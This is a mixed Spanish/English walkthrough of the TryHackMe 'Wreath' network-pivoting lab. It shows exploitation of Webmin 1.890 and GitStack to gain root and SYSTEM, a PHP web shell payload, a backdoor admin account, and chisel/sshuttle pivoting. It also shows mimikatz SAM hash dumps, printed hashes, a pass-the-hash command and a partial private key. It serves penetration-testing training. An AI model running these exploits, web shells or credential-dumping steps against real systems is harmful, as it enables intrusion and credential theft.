# THM - Wreath - Windows and Linux Pivoting
###### tags: `windows` `pentesting` `pivoting`
{%hackmd theme-dark %}
Laboratorio en: https://tryhackme.com/room/wreath#

## Machine 10.200.90.200 - prod-serv - Linux
### Enumeration:
Nmap out:
```bash=
┌──(kali㉿kali)-[~/THM_Wreath]
└─$ sudo nmap -T5 -n -p22,80,443,10000 -A 10.200.90.200 -Pn
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-16 08:27 EST
Nmap scan report for 10.200.90.200
Host is up (0.064s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 9c1bd4b4054d8899ce091fc1156ad47e (RSA)
| 256 9355b4d98b70ae8e950dc2b6d20389a4 (ECDSA)
|_ 256 f0615a55349bb7b83a46ca7d9fdcfa12 (ED25519)
80/tcp open http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1c)
|_http-title: Did not follow redirect to https://thomaswreath.thm
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1c
443/tcp open ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1c)
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1c
| ssl-cert: Subject: commonName=thomaswreath.thm/organizationName=Thomas Wreath Development/stateOrProvinceName=East Riding Yorkshire/countryName=GB
| Not valid before: 2022-12-16T13:25:20
|_Not valid after: 2023-12-16T13:25:20
| http-methods:
|_ Potentially risky methods: TRACE
| tls-alpn:
|_ http/1.1
|_http-title: Thomas Wreath | Developer
|_ssl-date: TLS randomness does not represent time
10000/tcp open http MiniServ 1.890 (Webmin httpd)
|_http-title: Site doesnt have a title (text/html; Charset=iso-8859-1).
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 3.13 (90%), Crestron XPanel control system (90%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.16 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%), Linux 2.6.32 (86%), Linux 2.6.39 - 3.2 (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 63.13 ms 10.50.91.1
2 63.03 ms 10.200.90.200
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.86 seconds
```
#### Web services:
* Port 80
* Redirects to https://thomaswreath.thm/
* So we have the DNS name.
* Port 443
* A CV of our friend.
* Port 10000
* Webmin login.
* https://10.200.90.200:10000/

#### Enumeration:
User info:
* email: me@thomaswreath.thm
* Phone number: 01347 822945
* Mobile Number: +447821548812
* City: Yorkshire
* Postal Code: YO61 3QL
### Exploitation
Cloned exploit from https://github.com/foxsin34/WebMin-1.890-Exploit-unauthorized-RCE.git
And it seems that it works and we're root in this machine:
```bash=
┌──(kali㉿kali)-[~/THM_Wreath/WebMin-1.890-Exploit-unauthorized-RCE]
└─$ python webmin-1.890_exploit.py 10.200.90.200 10000 id 2>/dev/null
--------------------------------
______________ _____ __
/ ___/_ __/ | / _/ | / /
\__ \ / / / /| | / // |/ /
___/ // / / ___ |_/ // /| /
/____//_/ /_/ |_/___/_/ |_/
--------------------------------
WebMin 1.890-expired-remote-root
<h1>Error - Perl execution failed</h1>
<p>Your password has expired, and a new one must be chosen.
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
</p>
┌──(kali㉿kali)-[~/THM_Wreath/WebMin-1.890-Exploit-unauthorized-RCE]
└─$ python webmin-1.890_exploit.py 10.200.90.200 10000 'cat /root/.ssh/id_rsa'
--------------------------------
______________ _____ __
/ ___/_ __/ | / _/ | / /
\__ \ / / / /| | / // |/ /
___/ // / / ___ |_/ // /| /
/____//_/ /_/ |_/___/_/ |_/
--------------------------------
WebMin 1.890-expired-remote-root
<h1>Error - Perl execution failed</h1>
<p>Your password has expired, and a new one must be chosen.
-----BEGIN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Knnv
m9kI975gZ/vbG0PZ7WvIs2sUrKg++iBZQmYVs+bj5Tf0CyHO7EST414J2I54t9vlDerAcZ
DZwEYbkM7/kXMgDKMIp2cdBMP+VypVAAAAwQDV5v0L5wWZPlzgd54vK8BfN5o5gIuhWOkB
2I2RDhVCoyyFH0T4Oqp1asVrpjwWpOd+0rVDT8I6rzS5/VJ8OOYuoQzumEME9rzNyBSiTw
YlXRN11U6IKYQMTQgXDcZxTx+KFp8WlHV9NE2g3tHwagVTgIzmNA7EPdENzuxsXFwFH9TY
EsDTnTZceDBI6uBFoTQ1nIMnoyAxOSUC+Rb1TBBSwns/r4AJuA/d+cSp5U0jbfoR0R/8by
GbJ7oAQ232an8AAAARcm9vdEB0bS1wcm9kLXNlcnYBAg==
-----END OPENSSH PRIVATE KEY-----
</p>
curl: (56) OpenSSL SSL_read: error:0A000126:SSL routines::unexpected eof while reading, errno 0
```
And we're in:
```bash
┌──(kali㉿kali)-[~/THM_Wreath]
└─$ ssh root@10.200.90.200 -i ./id_rsa
[root@prod-serv ~]# whoami;hostname
root
prod-serv
```

### PostExplotation
Hashes:
From /etc/shadow:
```
root:$6$i9vT8tk3SoXXxK2P$HDIAwho9FOdd4QCecIJKwAwwh8Hwl.BdsbMOUAd3X/chSCvrmpfy.5lrLgnRVNq6/6g0PxK9VqSdy47/qKXad1::0:99999:7:::
twreath:$6$0my5n311RD7EiK3J$zVFV3WAPCm/dBxzz0a7uDwbQenLohKiunjlDonkqx1huhjmFYZe0RmCPsHmW3OnWYwf8RWPdXAdbtYpkJCReg.::0:99999:7:::
```
Enumeration:
```bash=
[root@prod-serv ~]# cat /etc/hosts
127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4
::1 localhost localhost.localdomain localhost6 localhost6.localdomain6
[root@prod-serv ~]# cat /etc/resolv.conf
# Generated by NetworkManager
search eu-west-1.compute.internal
nameserver 10.200.0.2
[root@prod-serv ~]# cat /etc/hosts
127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4
::1 localhost localhost.localdomain localhost6 localhost6.localdomain6
[root@prod-serv ~]# netstat -nato
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State Timer
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:5355 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:10000 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 10.200.90.200:22 10.50.91.249:49706 ESTABLISHED keepalive (7114.96/0/0)
tcp6 0 0 :::22 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::443 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::3306 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::5355 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::80 :::* LISTEN off (0.00/0/0)
[root@prod-serv ~]# arp -a
ip-10-200-90-250.eu-west-1.compute.internal (10.200.90.250) at 02:5c:30:38:02:5f [ether] on eth0
ip-10-200-90-150.eu-west-1.compute.internal (10.200.90.150) at 02:39:76:96:e4:df [ether] on eth0
ip-10-200-90-1.eu-west-1.compute.internal (10.200.90.1) at 02:a7:a9:75:56:eb [ether] on eth0
ip-10-200-90-100.eu-west-1.compute.internal (10.200.90.100) at 02:93:99:f1:86:23 [ether] on eth0
[root@prod-serv ~]# for i in {1..255}; do (ping -c 1 10.200.90.${i} | grep "bytes from" &); done
64 bytes from 10.200.90.1: icmp_seq=1 ttl=255 time=0.393 ms
64 bytes from 10.200.90.200: icmp_seq=1 ttl=64 time=0.122 ms
64 bytes from 10.200.90.250: icmp_seq=1 ttl=64 time=0.514 ms
[root@prod-serv ~]# Do you want to ping broadcast? Then -b. If not, check your local firewall rules.
```
Uploaded nmap:
```bash=
[root@prod-serv ~]# curl http://10.50.91.249/nmap
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
[root@prod-serv ~]# curl http://10.50.91.249/nmap --output nmap-niknitro
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 5805k 100 5805k 0 0 2330k 0 0:00:02 0:00:02 --:--:-- 2330k
[root@prod-serv ~]# ls
anaconda-ks.cfg nmap-niknitro
```
And executed:
```bash=
[root@prod-serv ~]# ./nmap-niknitro -T5 10.200.90.1,100,150,250,200
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2022-12-17 15:21 GMT
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Warning: 10.200.90.250 giving up on port because retransmission cap hit (2).
Warning: 10.200.90.150 giving up on port because retransmission cap hit (2).
Nmap scan report for ip-10-200-90-1.eu-west-1.compute.internal (10.200.90.1)
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (-0.20s latency).
All 6150 scanned ports on ip-10-200-90-1.eu-west-1.compute.internal (10.200.90.1) are filtered
MAC Address: 02:A7:A9:75:56:EB (Unknown)
Nmap scan report for ip-10-200-90-100.eu-west-1.compute.internal (10.200.90.100)
Host is up (-0.20s latency).
All 6150 scanned ports on ip-10-200-90-100.eu-west-1.compute.internal (10.200.90.100) are filtered
MAC Address: 02:93:99:F1:86:23 (Unknown)
Nmap scan report for ip-10-200-90-150.eu-west-1.compute.internal (10.200.90.150)
Host is up (0.00052s latency).
Not shown: 6147 filtered ports
PORT STATE SERVICE
80/tcp open http
3389/tcp open ms-wbt-server
5985/tcp open wsman
MAC Address: 02:39:76:96:E4:DF (Unknown)
Nmap scan report for ip-10-200-90-250.eu-west-1.compute.internal (10.200.90.250)
Host is up (0.00045s latency).
Not shown: 6148 closed ports
PORT STATE SERVICE
22/tcp open ssh
1337/tcp open menandmice-dns
MAC Address: 02:5C:30:38:02:5F (Unknown)
Nmap scan report for ip-10-200-90-200.eu-west-1.compute.internal (10.200.90.200)
Host is up (0.000011s latency).
Not shown: 5938 closed ports, 206 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
3306/tcp open mysql
5355/tcp open hostmon
10000/tcp open ndmp
Nmap done: 5 IP addresses (5 hosts up) scanned in 115.81 seconds
```
Vamos a intentar acceder al webservice de la IP 10.200.90.150. Para ello vamos a levantar un proxy con SSH:
`ssh -i id_rsa -D 1337 root@10.200.90.200`
Vamos a añadir la siguiente línea al archivo /etc/proxychains4.conf:
`socks4 127.0.0.1 1337`
Y vamos a probar con curl:
```bash=
┌──(kali㉿kali)-[~/THM_Wreath]
└─$ proxychains curl 10.200.90.150
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain ... 127.0.0.1:1337 ... 10.200.90.150:80 ... OK
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<title>Page not found at /</title>
<meta name="robots" content="NONE,NOARCHIVE">
[...]
</head>
<body>
<div id="summary">
<h1>Page not found <span>(404)</span></h1>
<table class="meta">
<tr>
<th>Request Method:</th>
<td>GET</td>
</tr>
<tr>
<th>Request URL:</th>
<td>http://10.200.90.150/</td>
</tr>
</table>
</div>
[...]
<div id="explanation">
<p>
You're seeing this error because you have <code>DEBUG = True</code> in
your Django settings file. Change that to <code>False</code>, and Django
will display a standard 404 page.
</p>
</div>
</body>
</html>
```
Funsiona! :+1:
Vamos a preparar ahora el FoxyProxy:

Importante definir que el "Proxy Type" es "SOCKS4", sino no funcionará.

Y ya estaríamos :)
## Machine 10.200.90.150 - git-serv - Windows Server 2019

Se ve sencillo el inicio...
Pero no son esas las credenciales.
Tras bichear un poco gracias a las URLs del debug, encontramos en http://10.200.90.150/rest/user/ que nos devuelve `["twreath", "everyone"]`
A ver si esto nos muestra algo interesante:
```bash=
┌──(kali㉿kali)-[~/THM_Wreath]
└─$ searchsploit gitstack
-------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------------------------------------------- ---------------------------------
GitStack - Remote Code Execution | php/webapps/44044.md
GitStack - Unsanitized Argument Remote Code Execution (Metasploit) | windows/remote/44356.rb
GitStack 2.3.10 - Remote Code Execution | php/webapps/43777.py
-------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
```
:a:! , un RCE!
Pues según el código, necesitamos que exista un user (ya vimos que sí), que el [webinterface](http://10.200.90.150/rest/settings/general/webinterface/) esté activado (devuelve `{"enabled": true}`) y que exista al menos un [repositorio](http://10.200.90.150/rest/repository/).
Entonces se añade el user al repositorio, y se deshabilita el acceso a everyone:
```bash=
┌──(kali㉿kali)-[~]
└─$ proxychains curl -X POST http://10.200.90.150/rest/repository/Website/user/twreath/
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain ... 127.0.0.1:1337 ... 10.200.90.150:80 ... OK
twreath has already read permissions on Website
┌──(kali㉿kali)-[~]
└─$ proxychains curl -X DELETE http://10.200.90.150/rest/repository/Website/user/everyone/
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain ... 127.0.0.1:1337 ... 10.200.90.150:80 ... OK
list.remove(x): x not in list
```
Y lanzamos el payload:
```bash=
┌──(kali㉿kali)-[~]
└─$ echo -n "twreath:p && echo \"<?php system(\$_POST['a']); ?>\" > c:\\GitStack\\gitphp\\\exploit.php" | base64 -w 0
dHdyZWF0aDpwICYmIGVjaG8gIjw/cGhwIHN5c3RlbSgkX1BPU1RbJ2EnXSk7ID8+IiA+IGM6XEdpdFN0YWNrXGdpdHBocFxleHBsb2l0LnBocA==
┌──(kali㉿kali)-[~]
└─$ proxychains curl -X GET "http://10.200.90.150/web/index.php?p=Website.git&a=summary" -H "Auth: Basic dHdyZWF0aDpwICYmIGVjaG8gIjw/cGhwIHN5c3RlbSgkX1BPU1RbJ2EnXSk7ID8+IiA+IGM6XEdpdFN0YWNrXGdpdHBocFxleHBsb2l0LnBocA=="
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain ... 127.0.0.1:1337 ... 10.200.90.150:80 ... OK
Your GitStack credentials were not entered correcly. Please ask your GitStack administrator to give you a username/password and give you access to this repository. <br />Note : You have to enter the credentials of a user which has at least read access to your repository. Your GitStack administration panel username/password will not work.
┌──(kali㉿kali)-[~]
└─$ proxychains curl -X POST "http://10.200.90.150/web/exploit.php" --data 'a=whoami'
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain ... 127.0.0.1:1337 ... 10.200.90.150:80 ... OK
"nt authority\system
"
┌──(kali㉿kali)-[~]
└─$ proxychains curl -X POST "http://10.200.90.150/web/exploit.php" --data 'a=hostname'
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain ... 127.0.0.1:1337 ... 10.200.90.150:80 ... OK
"git-serv
"
```
Y ya estaríamos.
O también podemos lanzar directamente el exploit:
```bash=
┌──(kali㉿kali)-[~/THM_Wreath]
└─$ proxychains python2 git_stac_RCE.py
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[+] Get user list
[proxychains] Strict chain ... 127.0.0.1:1337 ... 10.200.90.150:80 ... OK
[+] Found user twreath
[proxychains] Strict chain ... 127.0.0.1:1337 ... 10.200.90.150:80 ... OK
[+] Web repository already enabled
[+] Get repositories list
[proxychains] Strict chain ... 127.0.0.1:1337 ... 10.200.90.150:80 ... OK
[+] Found repository Website
[+] Add user to repository
[proxychains] Strict chain ... 127.0.0.1:1337 ... 10.200.90.150:80 ... OK
[+] Disable access for anyone
[proxychains] Strict chain ... 127.0.0.1:1337 ... 10.200.90.150:80 ... OK
[+] Create backdoor in PHP
[proxychains] Strict chain ... 127.0.0.1:1337 ... 10.200.90.150:80 ... OK
<requests.auth.HTTPBasicAuth object at 0x7f5e8230bb10>
Your GitStack credentials were not entered correcly. Please ask your GitStack administrator to give you a username/password and give you access to this repository. <br />Note : You have to enter the credentials of a user which has at least read access to your repository. Your GitStack administration panel username/password will not work.
[+] Execute command
[proxychains] Strict chain ... 127.0.0.1:1337 ... 10.200.90.150:80 ... OK
"nt authority\system
"
```
### Explotation:
Info de sistema:
```bash=
┌──(kali㉿kali)-[~]
└─$ proxychains curl -X POST "http://10.200.90.150/web/exploit.php" --data 'a=systeminfo'
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain ... 127.0.0.1:1337 ... 10.200.90.150:80 ... OK
"
Host Name: GIT-SERV
OS Name: Microsoft Windows Server 2019 Standard
OS Version: 10.0.17763 N/A Build 17763
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00429-70000-00000-AA159
Original Install Date: 08/11/2020, 13:19:49
System Boot Time: 18/12/2022, 11:21:47
System Manufacturer: Xen
System Model: HVM domU
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: Intel64 Family 6 Model 79 Stepping 1 GenuineIntel ~2300 Mhz
BIOS Version: Xen 4.11.amazon, 24/08/2006
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-gb;English (United Kingdom)
Input Locale: en-gb;English (United Kingdom)
Time Zone: (UTC+00:00) Dublin, Edinburgh, Lisbon, London
Total Physical Memory: 2,048 MB
Available Physical Memory: 1,383 MB
Virtual Memory: Max Size: 2,432 MB
Virtual Memory: Available: 1,879 MB
Virtual Memory: In Use: 553 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: N/A
Hotfix(s): 5 Hotfix(s) Installed.
[01]: KB4580422
[02]: KB4512577
[03]: KB4580325
[04]: KB4587735
[05]: KB4592440
Network Card(s): 1 NIC(s) Installed.
[01]: AWS PV Network Device
Connection Name: Ethernet
DHCP Enabled: Yes
DHCP Server: 10.200.90.1
IP address(es)
[01]: 10.200.90.150
[02]: fe80::2067:b8c1:16a1:870a
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
"
```
Pivotado ahora con sshuttle:
```bash=
┌──(kali㉿kali)-[~/THM_Wreath]
└─$ sshuttle -r root@10.200.90.200 10.200.90.200/24 -x 10.200.90.200 --ssh-cmd "ssh -i id_rsa"
c : Connected to server.
```
```bash=
[root@prod-serv ~]# curl -X POST "http://10.200.90.150/web/exploit.php" --data 'a=net user niknitro niknitro /add'
"The command completed successfully."
[root@prod-serv ~]# curl -X POST "http://10.200.90.150/web/exploit.php" --data 'a=net localgroup Administrators niknitro /add'
"The command completed successfully."
[root@prod-serv ~]# curl -X POST "http://10.200.90.150/web/exploit.php" --data 'a=net localgroup "Remote Management Users" niknitro /add'
"The command completed successfully."
```
```bash=
┌──(kali㉿kali)-[~]
└─$ evil-winrm -u niknitro -p niknitro -i 10.200.90.150
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\niknitro\Documents> whoami
git-serv\niknitro
*Evil-WinRM* PS C:\Users\niknitro\Documents>
```

Interesante el comando xfreerdp, montando un share con nuestro disco local:
`xfreerdp /u:niknitro /p:niknitro /v:10.200.90.150 /dynamic-resolution +clipboard /drive:/home/niknitro,share`
Y ya estamos dentro :)
### Postexplotation
Usando el share, y ya que somos administradores, subimos mimikatz:

Ahora necesitamos darnos el privilegio debug y elevarnos a SYSTEM:
```bash=
privilege::debug
token::elevate
```

Y ahora con `lsadump::sam` sacaremos los hashes del equipo:
```bash=
mimikatz # lsadump::sam
Domain : GIT-SERV
SysKey : 0841f6354f4b96d21b99345d07b66571
Local SID : S-1-5-21-3335744492-1614955177-2693036043
SAMKey : f4a3c96f8149df966517ec3554632cf4
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 37db630168e5f82aafa8461e05c6bbd1
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 68b1608793104cca229de9f1dfb6fbae
* Primary:Kerberos-Newer-Keys *
Default Salt : WIN-1696O63F791Administrator
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 8f7590c29ffc78998884823b1abbc05e6102a6e86a3ada9040e4f3dcb1a02955
aes128_hmac (4096) : 503dd1f25a0baa75791854a6cfbcd402
des_cbc_md5 (4096) : e3915234101c6b75
* Packages *
NTLM-Strong-NTOWF
* Primary:Kerberos *
Default Salt : WIN-1696O63F791Administrator
Credentials
des_cbc_md5 : e3915234101c6b75
RID : 000001f5 (501)
User : Guest
RID : 000001f7 (503)
User : DefaultAccount
RID : 000001f8 (504)
User : WDAGUtilityAccount
Hash NTLM: c70854ba88fb4a9c56111facebdf3c36
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : e389f51da73551518c3c2096c0720233
* Primary:Kerberos-Newer-Keys *
Default Salt : WDAGUtilityAccount
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 1d916df8ca449782c73dbaeaa060e0785364cf17c18c7ff6c739ceb1d7fdf899
aes128_hmac (4096) : 33ee2dbd44efec4add81815442085ffb
des_cbc_md5 (4096) : b6f1bac2346d9e2c
* Packages *
NTLM-Strong-NTOWF
* Primary:Kerberos *
Default Salt : WDAGUtilityAccount
Credentials
des_cbc_md5 : b6f1bac2346d9e2c
RID : 000003e9 (1001)
User : Thomas
Hash NTLM: 02d90eda8f6b6b06c32d5f207831101f
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 03126107c740a83797806c207553cef7
* Primary:Kerberos-Newer-Keys *
Default Salt : GIT-SERVThomas
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 19e69e20a0be21ca1befdc0556b97733c6ac74292ab3be93515786d679de97fe
aes128_hmac (4096) : 1fa6575936e4baef3b69cd52ba16cc69
des_cbc_md5 (4096) : e5add55e76751fbc
OldCredentials
aes256_hmac (4096) : 9310bacdfd5d7d5a066adbb4b39bc8ad59134c3b6160d8cd0f6e89bec71d05d2
aes128_hmac (4096) : 959e87d2ba63409b31693e8c6d34eb55
des_cbc_md5 (4096) : 7f16a47cef890b3b
* Packages *
NTLM-Strong-NTOWF
* Primary:Kerberos *
Default Salt : GIT-SERVThomas
Credentials
des_cbc_md5 : e5add55e76751fbc
OldCredentials
des_cbc_md5 : 7f16a47cef890b3b
RID : 000003ea (1002)
User : niknitro
Hash NTLM: c6d32db8921af20d650517afbe02515f
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : d03f1b71459d37d3437f7919451eb380
* Primary:Kerberos-Newer-Keys *
Default Salt : GIT-SERVniknitro
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 28c51cffb78f14f4e87986becfed6cf35d320f8abe88356c82e27da7e2f6a2e7
aes128_hmac (4096) : 91d7401e6a8dd9666cb6c3df9ed42eae
des_cbc_md5 (4096) : 155dea5b16d5e69e
* Packages *
NTLM-Strong-NTOWF
* Primary:Kerberos *
Default Salt : GIT-SERVniknitro
Credentials
des_cbc_md5 : 155dea5b16d5e69e
```
Por si se reseteara el lab, nos guardamos el hash de Administrator para hacer PassTheHash si hiciera falta, tal que así:
```bash=
evil-winrm -u Administrator -H 37db630168e5f82aafa8461e05c6bbd1 -i 10.200.90.150
```

En Command&Control - Powershell Empire -> Hop Listeners hemos metido un agente en esta máquina.
## Machine 10.200.90.100 - wreath-pc - Windows Server 2019
### Enumeration
Port scan con Evil-WinRM:

Con Starkiller:

Con Empire
```bash=
(Empire: agents) > usemodule powershell/situational_awareness/network/portscan
Author Rich Lundeen
Background True
Comments https://github.com/mattifestation/PowerSploit/blob/master/Recon/Invoke
-Portscan.ps1
Description Does a simple port scan using regular sockets, based (pretty) loosely
on nmap.
Language powershell
Name powershell/situational_awareness/network/portscan
NeedsAdmin False
OpsecSafe True
Techniques http://attack.mitre.org/techniques/T1046
┌Record Options──┬────────────┬──────────┬─────────────────────────────────────┐
│ Name │ Value │ Required │ Description │
├────────────────┼────────────┼──────────┼─────────────────────────────────────┤
│ Agent │ │ True │ Agent to run module on. │
├────────────────┼────────────┼──────────┼─────────────────────────────────────┤
│ AllformatsOut │ │ False │ Output file of all formats. │
├────────────────┼────────────┼──────────┼─────────────────────────────────────┤
│ ExcludeHosts │ │ False │ Exclude thsee comma separated │
│ │ │ │ hosts. │
├────────────────┼────────────┼──────────┼─────────────────────────────────────┤
│ GrepOut │ │ False │ Greppable (.gnmap) output file. │
├────────────────┼────────────┼──────────┼─────────────────────────────────────┤
│ HostFile │ │ False │ Input hosts from file (on the │
│ │ │ │ target) │
├────────────────┼────────────┼──────────┼─────────────────────────────────────┤
│ Hosts │ │ False │ Hosts to scan. │
├────────────────┼────────────┼──────────┼─────────────────────────────────────┤
│ Open │ True │ False │ Switch. Only show hosts with open │
│ │ │ │ ports. │
├────────────────┼────────────┼──────────┼─────────────────────────────────────┤
│ OutputFunction │ Out-String │ False │ PowerShell's output function to use │
│ │ │ │ ("Out-String", "ConvertTo-Json", │
│ │ │ │ "ConvertTo-Csv", "ConvertTo-Html", │
│ │ │ │ "ConvertTo-Xml"). │
├────────────────┼────────────┼──────────┼─────────────────────────────────────┤
│ PingOnly │ │ False │ Switch. Ping only, don't scan for │
│ │ │ │ ports. │
├────────────────┼────────────┼──────────┼─────────────────────────────────────┤
│ Ports │ │ False │ Comma separated ports to scan for. │
├────────────────┼────────────┼──────────┼─────────────────────────────────────┤
│ ReadableOut │ │ False │ Readable (.nmap) output file. │
├────────────────┼────────────┼──────────┼─────────────────────────────────────┤
│ SkipDiscovery │ │ False │ Switch. Treat all hosts as online. │
├────────────────┼────────────┼──────────┼─────────────────────────────────────┤
│ TopPorts │ │ False │ Scan for X top ports, default 50. │
├────────────────┼────────────┼──────────┼─────────────────────────────────────┤
│ XmlOut │ │ False │ .XML output file. │
└────────────────┴────────────┴──────────┴─────────────────────────────────────┘
(Empire: usemodule/powershell/situational_awareness/network/portscan) > set Hosts 10.200.90.100
[*] Set Hosts to 10.200.90.100
(Empire: usemodule/powershell/situational_awareness/network/portscan) > set Agent GZFLEW17
[*] Set Agent to GZFLEW17
(Empire: usemodule/powershell/situational_awareness/network/portscan) > execute
[*] Tasked GZFLEW17 to run Task 4
[*] Task 4 results received
Hostname OpenPorts
-------- ---------
10.200.90.100 80,3389
Invoke-Portscan completed
```
Es hora de pivotar para poder trastear con estos dos puertos que hemos encontrado :)
If you followed the recommended route of using sshuttle to pivot from the webserver then a chisel forward proxy is recommended here as it will be relatively easy to connect to through the sshuttle connection without requiring a relay -- look back at the Chisel task if you need help with this!
When using this option you will need to open up a port in the Windows firewall to allow the forward connection to be made. The syntax for opening a port using netsh looks something like this:
```bash=
*Evil-WinRM* PS C:\Users\Administrator\Documents> netsh advfirewall firewall add rule name="Chisel-NikNitro" dir=in action=allow protocol=tcp localport=47000
Ok.
*Evil-WinRM* PS C:\Users\Administrator\Documents> upload /home/kali/THM_Wreath/tools/Pivoting/Windows/chisel_1.7.3_windows_amd64 chisel_niknitro
Info: Uploading /home/kali/THM_Wreath/tools/Pivoting/Windows/chisel_1.7.3_windows_amd64 to chisel_niknitro
Data: 11758248 bytes of 11758248 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\Administrator\Documents> ./c_niknitro.exe server -p 47000 --socks5
c_niknitro.exe : 2022/12/19 15:56:39 server: Fingerprint E8z96xStKk1fyPQzSVLVK8pHEDSKslTvGQYAsTq8DQk=
+ CategoryInfo : NotSpecified: (2022/12/19 15:5...lTvGQYAsTq8DQk=:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
2022/12/19 15:56:39 server: Listening on http://0.0.0.0:47000
```
Y nos conectamos con nuestra máquina:
```bash=
┌──(kali㉿kali)-[~/THM_Wreath/tools/Pivoting/Linux]
└─$ ./chisel_1.7.3_linux_amd64 client 10.200.90.150:47000 1338:socks
2022/12/19 10:57:39 client: Connecting to ws://10.200.90.150:47000
2022/12/19 10:57:39 client: tun: proxy#127.0.0.1:1338=>socks: Listening
2022/12/19 10:57:39 client: Connected (Latency 61.952996ms)
```

Y tiene otra versión de la web de la .200:

Así que vamos a traernos el proyecto de git completo del servidor vulnerado, para ver qué diferencias puede haber :)
Va, ya estamos aquí (en la .150):

```bash
*Evil-WinRM* PS C:\GitStack\repositories> download C:\GitStack\repositories\website.git
Info: Downloading C:\GitStack\repositories\website.git to ./C:\GitStack\repositories\website.git
Info: Download successful!
```
E investigamos el git:
```bash=
┌──(kali㉿kali)-[~/THM_Wreath/tools/Post-Exploitation/.git]
└─$ mv C:\\GitStack\\repositories\\website.git .git
┌──(kali㉿kali)-[~/THM_Wreath/tools/Post-Exploitation/.git]
